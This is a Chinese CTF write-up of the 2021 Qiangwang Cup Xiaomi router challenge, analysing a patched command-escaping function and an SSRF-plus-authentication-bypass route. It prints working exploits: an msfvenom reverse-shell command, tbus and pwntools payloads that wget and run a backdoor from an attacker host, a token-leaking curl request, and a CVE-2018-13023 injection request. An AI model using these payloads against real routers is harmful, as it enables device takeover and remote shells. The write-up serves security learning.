2021强网杯赛题Mi Route复现
这篇文章笔者也是鸽了好久,直到最近,才基本写完。期间,参考了很多大佬的文章,在此向各位佬磕一个。
话不多说,直接开始。
题目要求
题目获取
- 购买小米路由器PRO
- 刷入开发板固件2.13.65,小米路由器下载地址http://www1.miwifi.com/miwifi_download.html
- 开启小米路由器ssh,具体参考https://blog.csdn.net/desertworm/article/details/117958369
- 打patch
cp /usr/lib/lua/traffic.lua /tmp
sed -i 's/:gsub("%$", "\\\\$")//g' /tmp/traffic.lua
mount -o bind /tmp/traffic.lua /usr/lib/lua//traffic.lua
基本分析
题目分析
在读完题目后,可以得到以下要点:
- 实现未授权RCE,并挂载黑页
- 题目选手端开启了ssh
- 题目固件是patch过的,也即题目漏洞可能是出题人故意造的,也有可能修复一些未知bug。
寻找patch点
这里应该是下载原版固件,然后使用diff分析patch点。这里我们是用原件patch过的,也没必要分析patch点了。
信息收集
- 端口扫描
sudo nmap -sT -sU -p 0-65535 192.168.31.1
没有发现什么可疑端口。有点怪,ssh端口没有扫描出来。
-
小米路由器是对开源框架openwrt进行的二次开发,漏洞分析的过程实际上类似于lua代码审计。
-
历史漏洞复现与历史CVE。
预期解
分析patch文件traffic.lua
patch前
function cmdfmt(str)
return str:gsub("\\", "\\\\"):gsub("`", "\\`"):gsub("\"", "\\\""):gsub("%$", "\\$")
end
patch后
function cmdfmt(str)
return str:gsub("\\", "\\\\"):gsub("`", "\\`"):gsub("\"", "\\\"")
end
patch后的cmdfmt
并未对$
进行转义,可能存在命令注入漏洞。
function trafficd_lua_ecos_pair_verify(repeater_token)
local code
local token
local ssid
local ssid_pwd
local ssid_type
local ssid_hidden
local bssid
local device_id
local cjson=require("json")
local pp
local ifname
local ifname_tmp
local wl_index = 1
local wl_cnt
local i
pp = io.popen("uci get misc.wireless.ifname_2G")
ifname = pp:read("*line")
pp:close()
pp = io.popen("uci get misc.wireless.wl_if_count")
wl_cnt = pp:read("*line")
pp:close()
if ifname ~= nil and wl_cnt ~= nil then
wl_cnt = tonumber(wl_cnt)
if wl_cnt ~= nil then
for i=0,wl_cnt,1 do
pp = io.popen(string.format("uci get wireless.@wifi-iface[%d].ifname",i))
ifname_tmp = pp:read("*line")
pp:close()
if ifname_tmp == ifname then
wl_index = i
break
end
end
end
end
os.execute(string.format('/usr/sbin/ecos_pair_verify -i "%s" -e "%s" ', cmdfmt(ifname), cmdfmt(repeater_token)))
file = io.open("/tmp/ecos.log","r")
if file ~= nil then
for line in file:lines() do
local tt = cjson.decode(line)
code = tt['code']
token = tt['token']
ssid = tt['ssid']
ssid_pwd = tt['ssid_pwd']
ssid_type = tt['ssid_type']
ssid_hidden = tt['ssid_hidden']
bssid = tt['bssid']
device_id = tt['device_id']
os.execute("logger " .. code)
os.execute("logger " .. token)
os.execute("logger " .. ssid)
os.execute("logger " .. ssid_pwd)
os.execute("logger " .. ssid_type)
os.execute("logger " .. ssid_hidden)
os.execute("logger " .. bssid)
os.execute("logger " .. device_id)
end
file:close()
end
return code,token,ssid,ssid_pwd,ssid_type,ssid_hidden,bssid,device_id
end
trafficd_lua_ecos_pair_verify
执行了经过cmdfmt
处理的参数,存在命令注入漏洞。
接着,我们就想办法触发这条调用链。
全局搜索
grep -ri "trafficd_lua_ecos_pair_verify" 2>/dev/null
字符串定位,定位到sub_402070
交叉引用,发现没有函数调用sub_402070
。
发现.data段存在很多.byte,可以使用快捷键d转换未.word类型。这里使用IDAPython脚本转换。
import idaapi
import ida_bytes
import idc
def MakeDword(ea):
if idaapi.IDA_SDK_VERSION < 700:
return idc.MakeDword(ea)
else:
return ida_bytes.create_data(ea, FF_DWORD, 4, idaapi.BADADDR)
start_addr = 0x00416564
end_addr = 0x004165e8
while start_addr < end_addr:
MakeDword(start_addr)
start_addr += 4
转换成功后,再次对sub_402070
交叉引用,找到了引用的地方,但还是猜测不出调用链。
这里我们看main函数,看到了字符串tbus_init。
这里需要知道的是,tbus类似于openwrt的ubus,而ubus是用来作为进程间通信的,是一种类似总线结构的通信方式。关于ubus详细介绍可以看https://gtrboy.github.io/posts/bus/与https://e-mailky.github.io/2017-08-14-ubus。
与此同时,发现小米路由器提供了tbus
命令。
netapi
作为一个对象,其上定义了函数与参数。所以,我们要想办法找对应的函数与参数。
继续分析main
函数。
根据后续字符串add_object,猜测sub_40478c
函数的作用是初始化tbus
。
查看参数dword_4165A8
。
猜测是一个结构体。由于存在netapi与init字符串,合理猜测,netapi
对象定义了init
方法。再由上述sub_402070
交叉引用的结果,猜测参数为data
。
接着,就是使用tbus call
进行验证了。
在此之前,我们可以全局搜索tbus
。
这里搜到了很多关键信息。比如,tbus call的参数格式为json格式,与ubus类似;tbus监听端口为784。
使用netstat查看端口信息。
端口784运行的程序为trafficd,也即tbus服务端。
验证的payload为:
tbus call netapi init '{"data": "aaa$(touch /tmp/haha)"}'
成功验证了我们的思路。
之后,使用msfvenom生成反弹shell,然后上传即可。
msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=192.168.31.14 LPORT=1234 -f elf -o backdoor
实现反弹shell。
tbus call netapi init '{"data": "aaa$(wget http://192.168.31.14:8000/backdoor -O /tmp/backdoor; chmod +x /tmp/backdoor; /tmp/backdoor)"}'
接下来,就是想办法外部触发tbus。
由上述netstat
结果可知,tbus
服务端运行在784端口,且IP地址为0.0.0.0,所以我们外部是直接可以访问784端口的。服务器内部存在tcpdump
,进行流量分析。
可以看到,trafficd
与netapi
的通信是通过127.0.0.1进行的,所以我们对ip地址为127.0.0.1的网卡进行抓包即可。
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 root@192.168.31.1 "tcpdump -i lo -s 0 -w /tmp/miwifi.pcap"
路由器内部执行tbus call。
tbus call netapi init '{"data": "$(sleep 3)"}'
之后,我们将获取的**/tmp/miwifi.pcap**传输到主机,使用wireshark进行分析。
使用tcp.port == 784 && data
过滤出命令执行的包。
通过三次抓包分析,每次只有两个部分不同,猜测为token字段。
继续分析,发现每次连接都会发送序号为48的包的data,然后服务器端返回一个序号为50的包,其中带有token字段。
所以,我们通过流量来间接调用tbus来进行命令注入。
最终利用脚本如下:
from pwn import *
p = remote('192.168.31.1', 784)
p.recv()
data = '0004010000000000000000100200000b6e65746170690000'
payload = bytes.fromhex(data)
print(payload)
p.send(payload)
token_data = p.recv()
token = token_data[28:32]
print(token)
p.recv()
shell = b'$(wget http://192.168.31.14:8000/backdoor -O /tmp/backdoor; chmod +x /tmp/backdoor; /tmp/backdoor)'
payload = f'''
00050200{token[::-1].hex()}0000008c03000008{token.hex()}04000009696e697400000000070000748300006f000464617461000061616124287767657420687474703a2f2f3139322e3136382e33312e31343a383030302f6261636b646f6f72202d4f202f746d702f6261636b646f6f723b2063686d6f64202f746d702f6261636b646f6f723b202f746d702f6261636b646f6f72290000
'''
payload = bytes.fromhex(payload)
print(payload)
p.send(payload)
sleep(1)
非预期解
分析nginx服务的配置文件/etc/sysapihttpd/sysapihttpd.conf
server {
listen 8197;
# resolver 8.8.8.8;
resolver 127.0.0.1 valid=30s;
log_format log_subfilter '"$server_addr"\t"$host"\t"$remote_addr"\t"$time_local"\t"$request_method $request_uri"\t"$status"\t"$request_length"\t"$bytes_sent"\t"$request_time"\t"$sent_http_ MiCGI_Cache_Status"\t"$upstream_addr"\t"$upstream_response_time"\t"$http_referer"\t"$http_user_agent"';
access_log off;
#access_log /userdisk/data/proxy_8197.log log_subfilter;
#error_log /userdisk/sysapihttpd/log/error.log info;
location / {
proxy_set_header Accept-Encoding "";
proxy_pass http://$http_host$request_uri;
add_header XQ-Mark 'subfilter';
proxy_connect_timeout 600;
proxy_read_timeout 600;
proxy_send_timeout 600;
#sub_filter '</body>' '<div style="display:none">XQ Sub-Filter</div></body>';
sub_filter '</head>' '<script type="text/javascript"></script></head>';
}
}
可以发现,反向代理prxoy_pass http://$http_host$request_uri
,并没有对请求的url进行限制,存在ssrf漏洞。
审计/usr/lib/lua/luci
目录下的lua脚本。
可以发现,dispatcher.lua
存在认证绕过漏洞。
local ip = http.getenv("REMOTE_ADDR")
local host = http.getenv("HTTP_HOST")
local isremote = ip == "127.0.0.1" and host == "localhost"
if _sdkFilter(track.flag) and not isremote then
local sdkutil = require("xiaoqiang.util.XQSDKUtil")
if not sdkutil.checkPermission(getremotemac()) then
context.path = {}
luci.http.write([[{"code":1500,"msg":"Permission denied"}]])
return
end
end
if not isremote and not _noauthAccessAllowed(track.flag) and track.sysauth then
local sauth = require "luci.sauth"
local crypto = require "xiaoqiang.util.XQCryptoUtil"
local sysutil = require "xiaoqiang.util.XQSysUtil"
local isBinded = sysutil.getPassportBindInfo()
local authen = type(track.sysauth_authenticator) == "function"
and track.sysauth_authenticator
or authenticator[track.sysauth_authenticator]
local def = (type(track.sysauth) == "string") and track.sysauth
local accs = def and {track.sysauth} or track.sysauth
local sess = ctx.urltoken.stok
local sdat = sauth.read(sess)
local user
if sdat then
if ctx.urltoken.stok == sdat.token and (not sdat.ip or (sdat.ip and sdat.ip == ip)) then
user = sdat.user
end
else
local eu = http.getenv("HTTP_AUTH_USER")
local ep = http.getenv("HTTP_AUTH_PASS")
if eu and ep and luci.sys.user.checkpasswd(eu, ep) then
-- authen = function() return eu end
local logger = require("xiaoqiang.XQLog")
logger.log(4, "Native Luci: HTTP_AUTH_USER & HTTP_AUTH_PASS")
end
end
if not util.contains(accs, user) then
if authen then
ctx.urltoken.stok = nil
local user, logintype = authen(nil, accs, def)
if not user or not util.contains(accs, user) then
return
else
local sid = sess or luci.sys.uniqueid(16)
local ltype = logintype or "2"
local token = luci.sys.uniqueid(16)
sauth.reap()
sauth.write(token, {
user=user,
token=token,
ltype=ltype,
ip=ip,
secret=luci.sys.uniqueid(16)
})
ctx.urltoken.stok = token
ctx.authsession = token
ctx.authuser = user
end
else
luci.http.status(403, "Forbidden")
return
end
else
ctx.authsession = sess
ctx.authuser = user
end
end
当 **isremote = 1
**时,也即ip == "127.0.0.1" and host == "localhost"
,可以绕过登录限制。
全局搜索token相关字段,发现/usr/lib/lua/luci/controller/api/xqsystem.lua
存在token泄露。
entry({"api", "xqsystem", "renew_token"}, call("renewToken"), (""), 136)
function renewToken()
local datatypes = require("luci.cbi.datatypes")
local sauth = require "luci.sauth"
local result = {}
local ip = LuciHttp.formvalue("ip")
if ip and not datatypes.ipaddr(ip) then
ip = nil
end
local session = sauth.available(ip)
if session and session.token then
result["token"] = session.token
else
local token = luci.sys.uniqueid(16)
sauth.write(token, {
user="admin",
token=token,
ltype="2",
ip=ip,
secret=luci.sys.uniqueid(16)
})
result["token"] = token
end
result["code"] = 0
LuciHttp.write_json(result)
end
结合上述ssrf漏洞,以及认证绕过漏洞,可以泄露出认证字段token。
curl -v http://192.168.31.1:8197/cgi-bin/luci/api/xqsystem/token -H 'Host: localhost'
至于请求的target,我们可以在上述nginx配置字段中发现,这里不再赘述。
解决了认证的问题,接着就是想办法找到命令注入之类的漏洞了。
通过对历史CVE的搜索以及验证,可以发现CVE-2018-13023漏洞并未修复。该漏洞描述大致为:认证后命令注入。
该漏洞位于/usr/lib/lua/luci/controller/api/misns.lua
entry({"api", "misns", "wifi_access"}, call("wifiAccess"), (""), 203)
function wifiAccess()
local result = {
["code"] = 0
}
local sns = LuciHttp.formvalue("sns")
local guid = LuciHttp.formvalue("guest_user_id")
local expayload = LuciHttp.formvalue("extra_payload")
local mac = LuciHttp.formvalue("mac")
local dev_timeout = LuciHttp.formvalue("timeout")
local grant = tonumber(LuciHttp.formvalue("grant")) or 1
if not dev_timeout then
dev_timeout=""
end
if not mac or not LuciDatatypes.macaddr(mac) then
result.code = 1523
else
local repeat_request = XQWifiShare.check_repeat_request(mac)
XQWifiShare.wifi_access(mac, sns, dev_timeout, guid, grant, expayload)
if grant == 1 then
local json = require("json")
local push = require("xiaoqiang.XQPushHelper")
local name = ""
if not XQFunction.isStrNil(expayload) then
local succ, info = pcall(json.decode, expayload)
if succ and info then
name = info.nickname
end
end
if sns and sns ~= "wifirent" and sns ~= "direct_request" and not repeat_request then
push._guestWifiConnectPush(mac, sns, name)
end
end
if sns and sns == "direct_request" and grant == 0 then
XQWifiShare.wifi_share_blacklist_edit({mac}, "+")
end
end
if result.code ~= 0 then
result["msg"] = XQErrorUtil.getErrorMessage(result.code)
end
LuciHttp.write_json(result)
end
漏洞点位于XQWifiShare.wifi_access
,该函数并未对用户输入的内容进行限制,导致存在任意命令注入漏洞。
function forkExec(command)
local Nixio = require("nixio")
local pid = Nixio.fork()
if pid > 0 then
return
elseif pid == 0 then
Nixio.chdir("/")
local null = Nixio.open("/dev/null", "w+")
if null then
Nixio.dup(null, Nixio.stderr)
Nixio.dup(null, Nixio.stdout)
Nixio.dup(null, Nixio.stdin)
if null:fileno() > 2 then
null:close()
end
end
Nixio.exec("/bin/sh", "-c", command)
end
end
function wifi_access(mac, sns, timeout, uid, grant, extra)
local uci = require("luci.model.uci").cursor()
if XQFunction.isStrNil(mac) then
return false
end
local mac = XQFunction.macFormat(mac)
local key = mac:gsub(":", "")
local info = uci:get_all("wifishare", key)
if info then
info["mac"] = mac
if not XQFunction.isStrNil(sns) then
info["sns"] = sns
end
if not XQFunction.isStrNil(uid) then
info["guest_user_id"] = uid
end
if not XQFunction.isStrNil(extra) then
info["extra_payload"] = extra
end
if grant then
if grant == 0 then
info["disabled"] = "1"
elseif grant == 1 then
info["disabled"] = "0"
end
end
else
if XQFunction.isStrNil(sns) or XQFunction.isStrNil(uid) or not grant then
return false
end
info = {
["mac"] = mac,
["state"] = "auth",
["sns"] = sns,
["guest_user_id"] = uid,
["extra_payload"] = extra,
["disabled"] = grant == 1 and "0" or "1"
}
end
uci:section("wifishare", "device", key, info)
uci:commit("wifishare")
if grant then
if grant == 0 then
if sns ~= "direct_request" then
os.execute("/usr/sbin/wifishare.sh deny "..mac)
end
elseif grant == 1 then
XQFunction.forkExec("sleep 2; /usr/sbin/wifishare.sh allow "..mac .." " ..sns .." " ..timeout)
end
end
return true
end
当**grand == 1
**时,执行 XQFunction.forkExec
函数,该函数并未对参数进行过滤,仅仅开启子进程执行命令,导致命令注入漏洞。
验证payload如下:在**/tmp**目录下创建文件。
GET /cgi-bin/luci/;stok=0cfc176dfdf971d012e7d745a6d219d9/api/misns/wifi_access?mac=00:00:00:00:00:00&sns=%3b%0atouch%09/tmp/l1s00t%0a%23&grant=1&guest_user_id=guid&timeout=timeout HTTP/1.1
Host: 192.168.31.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.31.1/cgi-bin/luci/;stok=3fbce4dd5205d9b7940c26b877121cd5/web/home
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: __guid=86847064.1832874651309614000.1694922718469.7314; psp=admin|||2|||0; monitor_count=23
Connection: close
剩下的部分是跟预期解类似的过程,也就不再赘述了。
总结
通过对赛题的分析,学到了很多。具体如下:
- 学到了设备的分析思路
- 了解了openwrt以及ubus(tubs)的通信方法
- 学习了nginx的配置,以及容易出现疏漏的地方
- 学到了多个漏洞利用方法
到这里,这道题的复现算是基本完成了,收获很大,继续加油。
参考文章
https://xuanxuanblingbling.github.io/iot/2021/07/15/mirouter/
https://github.com/ReAbout/ctf-writeup/blob/master/qwb-2021-final/mirouter-wp.md
https://e-mailky.github.io/2017-08-14-ubus
https://www.anquanke.com/post/id/247597
https://mp.weixin.qq.com/s/ykrkcPXNyLjxh67GSJLOEA